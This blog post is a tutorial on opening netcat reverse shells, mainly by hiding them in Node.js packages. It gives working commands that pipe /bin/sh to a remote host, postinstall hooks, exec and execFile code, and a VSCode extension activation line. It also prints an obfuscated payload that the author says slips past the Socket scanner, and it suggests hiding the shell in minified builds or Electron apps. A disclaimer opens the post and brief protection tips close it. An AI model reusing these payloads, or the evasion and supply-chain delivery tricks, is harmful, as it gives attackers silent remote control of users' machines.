Gaining remote access to a computer with a reverse shell attack in Node.js

28/06/2022

I recently learnt what a reverse shell is and got excited to experiment running this kind of attack via a Node.js module. This post will go through my thought process and the different options I tried.

⚠️ Important notes ⚠️
  • I am writing this blog post for educational purposes only. Running a reverse shell attack on someone without their approval is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
  • I am not taking any responsibility for how you decide to use the information shared in this post.

What is a reverse shell?

A reverse shell is a tool that allows a computer to have remote access to another one. It can be very useful if you want to transfer files between multiple computers, or if you want to access information you need that is stored on another computer and network. However, it can also be used to run attacks in which a victim unknowingly initiates a remote shell connection to an attacker's system, allowing the attacker to have nearly complete access to their system.

If you think about shell commands you might be familiar with such as ls to list a directory's files, pwd to show the path to the current directory or nano to edit the content of files; a reverse shell allows an attacker to run these commands on a target's system without them knowing.

How to create a reverse shell

A common tool to execute a reverse shell is called netcat. If you're using macOS, it should be installed by default. You can check by running nc -help in a terminal window.

Using a private IP address on a local network

You can run a simple example of reverse shell between two computers on the same network.

On the first computer, start two listeners on different ports, for example, one on port 80 and the other on port 53.

# Command tested on macOS, the path to netcat is different on other OS
/usr/bin/nc -l 80
/usr/bin/nc -l 53

The flag -l starts netcat on listening mode, so it will listen to traffic happening on these two ports.

On the second computer, run the following command:

nc <first-computer-IP-address> 80 | /bin/sh | nc <first-computer-IP-address> 53

This command initiates a connection to the first computer on the two ports specified above, and indicates that any command received on port 80 should be executed as a bash command and send the result to port 53.

Below is an example of this code working. As a second computer, I have a Raspberry Pi set up in my apartment, connected to the same network as my laptop. In the terminal, I ssh into the Pi in the first pane. The second and third pane start the listeners on port 80 and 53. When the listeners are ready, I run the netcat command in the Pi. From there, I'm able to access its file system from my laptop. I run commands such as ls, whoami and pwd in the terminal window listening on port 80 and the result shows in the third pane on the far right. I'm also able to change the name of a file from test.js to index.js.

GIF demo showing how I am running a reverse shell on a Raspberry Pi and access it from my laptop

You can imagine how useful this tool is, for example, if you want to transfer files easily between two computers on the same network.

Using a public IP address

In the example above, I showed how to create a reverse shell between computers on the same network, however, when running this as an attack to gain access to a victim's computer, both devices will probably be connected to different networks so the code above won't work.

Indeed, the code sample shown in the previous section uses the device's private IP address on my local network. This private IP address cannot be accessed from outside my home network.

To be able to use a public IP address, I've decided to use Linode to create a virtual machine (VM), that both the target and attacker will connect to.

Once the VM finished spinning up, I replaced the private IP address from the code above, with the public IP address of the VM. For the purpose of this post, let's imagine this IP address is 10.10.10.10.

From my laptop, I connect to my VM using the following command:

ssh root@10.10.10.10

From there, similar commands from the ones shown in the previous section can be run.

nc -l 80 -s 10.10.10.10
nc -l 53 -s 10.10.10.10

The additional -s is used to indicate the source IP address, so the VM's public IP address.

Then, on the target's computer, the following command needs to be run:

nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;

The additional disown is used to run the program continuously in the background and exit 0 is used to terminate it so the terminal does not look like the program is still executing (even though it is).

Once these commands are run, I have access to the second computer's system no matter if it is inside or outside of my home network.

So now, how can we get a target to run this?

Running a reverse shell in a Node.js module

A few weeks ago I wrote a post about how to run a ransomware attack in a Node.js module, and in the same spirit, I explored a few different ways to run a reverse shell attack using the same medium.

postinstall

One way to run this would be to take advantage of the postinstall attribute of a module's package.json file. This command runs right after a package has finished installing so it wouldn't even require the target to import and use it.

This could be done in two ways, first, by running the command directly:

"scripts": {
    "postinstall": "nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | exit 0;"
},

Or running the command in a separate JavaScript file:

"scripts": {
    "postinstall": "node index.js"
},

Even though using postinstall would work, it may look quite obvious if a user decided to look at the source code before installing the package, especially if the command is run directly, so the package could get flagged quickly.

If postinstall is running a JS file, it might look less obvious, but how would it start the reverse shell?

Using exec or execFile

To run this command in a JS file, you can use exec and execFile.

exec executes the command passed to the function:

const { exec } = require("child_process");

exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;")

process.exit(0);

execFile executes a file, for example script.sh:

const { execFile } = require("child_process");

execFile("bash", ["script.sh"], () => {})

process.exit(0);

This shell script would contain the netcat command:

#!/bin/bash
nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;

It can either be added as a file in the repository or fetched from another source, to avoid attracting attention.

As soon as the reverse shell is set up, an attacker can steal, delete or encrypt files, install tools, and much more.

The solutions shown above are picked up by security tools such as Socket, that flags the use of potentially insecure code such as exec and execFile.

Screenshot of the Socket UI showing a warning that the module accesses the system shell.

So, what are ways to hide more efficiently this kind of attack?

Ways to hide a reverse shell

There's a few ways I could think about doing this, some of them involve technical solutions, and others involve thinking more about the context in which people use Node.js modules.

File obfuscation (and minification?)

Security tools are getting better at flagging potential insecure code in Node.js modules, however, once obfuscated, it becomes a lot harder to know if a piece of code contains vulnerabilities.

As an example. here's what the obfuscated JavaScript of the exec implementation looks like:

function _0x3994(_0x565d93, _0x46b188) { const _0x1edb91 = _0x1edb(); return _0x3994 = function (_0x39942b, _0x46c9b8) { _0x39942b = _0x39942b - 0x7f; let _0x45df05 = _0x1edb91[_0x39942b]; return _0x45df05; }, _0x3994(_0x565d93, _0x46b188); } const _0x14c021 = _0x3994; function _0x1edb() { const _0x315a4c = ['3456290MInyns', '144422gpQMch', '582536EjKPYz', 'nc\x20192.168.4.32\x2080\x20|\x20/bin/sh\x20|\x20nc\x20192.168.4.32\x2053\x20|\x20disown\x20|\x20exit\x200;', 'child_process', '4931696ptslNj', '892792JPSbno', '1315ymqHPE', 'exit', '18xLEENc', '847KPUPMs', '6036cCpfRb', '17700Neccgv', '3QTYiZY']; _0x1edb = function () { return _0x315a4c; }; return _0x1edb(); } (function (_0x9e95f2, _0x2951fb) { const _0x37d8ea = _0x3994, _0x2bcaca = _0x9e95f2(); while (!![]) { try { const _0x55a257 = parseInt(_0x37d8ea(0x86)) / 0x1 + parseInt(_0x37d8ea(0x8b)) / 0x2 * (-parseInt(_0x37d8ea(0x84)) / 0x3) + -parseInt(_0x37d8ea(0x82)) / 0x4 * (-parseInt(_0x37d8ea(0x8c)) / 0x5) + -parseInt(_0x37d8ea(0x83)) / 0x6 * (-parseInt(_0x37d8ea(0x81)) / 0x7) + parseInt(_0x37d8ea(0x87)) / 0x8 * (-parseInt(_0x37d8ea(0x80)) / 0x9) + -parseInt(_0x37d8ea(0x85)) / 0xa + parseInt(_0x37d8ea(0x8a)) / 0xb; if (_0x55a257 === _0x2951fb) break; else _0x2bcaca['push'](_0x2bcaca['shift']()); } catch (_0x151b06) { _0x2bcaca['push'](_0x2bcaca['shift']()); } } }(_0x1edb, 0x63d54)); const { exec } = require(_0x14c021(0x89)); exec(_0x14c021(0x88)), process[_0x14c021(0x7f)](0x0);

This code still works but isn't flagged anymore. You could imagine that a package author could hide this code in a minified version of their package and advise people to use that one for improved performance.

I also tested this by minifying the original code, which is still humanly-readable. Here's the result:

const{exec:exec}=require("child_process");exec("nc 10.10.10.10 80 | /bin/sh | nc 10.10.10.10 53 | disown | exit 0;"),process.exit(0);

By default, if the file "index.min.js" is not specified as the exported file in the "main" field of the package.json, Socket does not flag any issue. However, once changed to "index.min.js", the security issues are shown in the UI.

Screenshot of the Socket UI showing a warning that the minidifed code of the module accesses the system shell.

VSCode extension

Even though VSCode extensions are NPM packages, the way users install them is via the VSCode editor, so it is likely that people use the ease of a one-click install without checking the extension's code first. Extensions may go through a security check before being publicly available, however some attacks have been run via extensions.

When creating an extension, you can specify when you'd like the code to run, including anytime the editor is launched. To do so, you can specify the value * or onStartupFinished as activationEvents. This would call the activate function that can be modified to run the reverse shell by adding a single line of code:

exec("nc 192.168.4.29 81 | /bin/sh | nc 192.168.4.29 53 | disown | exit 0;")

To try this out, I created a small "Hello World" extension following the official documentation. I added the line shown above in the activate function, ran the extension in the Extension Development Host window and activated it. Below is the result showing how I gained access to my personal laptop from my RaspberryPi.

GIF demo showing how a reverse shell can be started from a VSCode extension

I am not sure what kind of security process extensions go through before being publicly available but it is also possible for developers to make their extensions available via GitHub instead of the VSCode Marketplace. This way, even if this extension was rejected for security reasons, an attacker might still try to make it available by instructing users to install it manually.

Electron app

Electron applications are also written in Node.js and can be installed without checking the source code first. Looking at this list of Electron apps, it is easy to imagine how one could create a small productivity app with a hidden reverse shell.

How can people protect themselves?

One of the interesting aspects of experimenting with this, is to think about ways people can protect themselves from these types of attacks.

So far, here are a few options I can think of:

  • Use one of the many security tools available and pay attention to their warnings.
  • Check the source code of open-source tools before installing and using them.
  • Run your projects in a virtual machine or online sandbox such as CodeSandbox, StackBlitz, Github CodeSpaces
  • To check for reverse shell attacks specifically, you can run the ps command in your terminal to check the current processes running, and terminate any that looks suspicious.
  • When using a minified version of a NPM package, make sure it does not include some unexpected code by copying the non-minifed version of the tool, minifying it yourself and comparing the results.
  • A way to stop the connection established by a reverse shell could be to turn your computer off/on, however, if hidden in a package you use often, the connection would restart anytime you use that package.

Some of these solutions may sound a bit impractical but depending on the risk you're willing to take, it is definitely something worth thinking about.

Conclusion

There are probably more ways to run a reverse shell than the ones I explored here but I hope this post gave you a better understanding of what a reverse shell is, how to create one and raised some awareness of the risks associated with using open-source packages.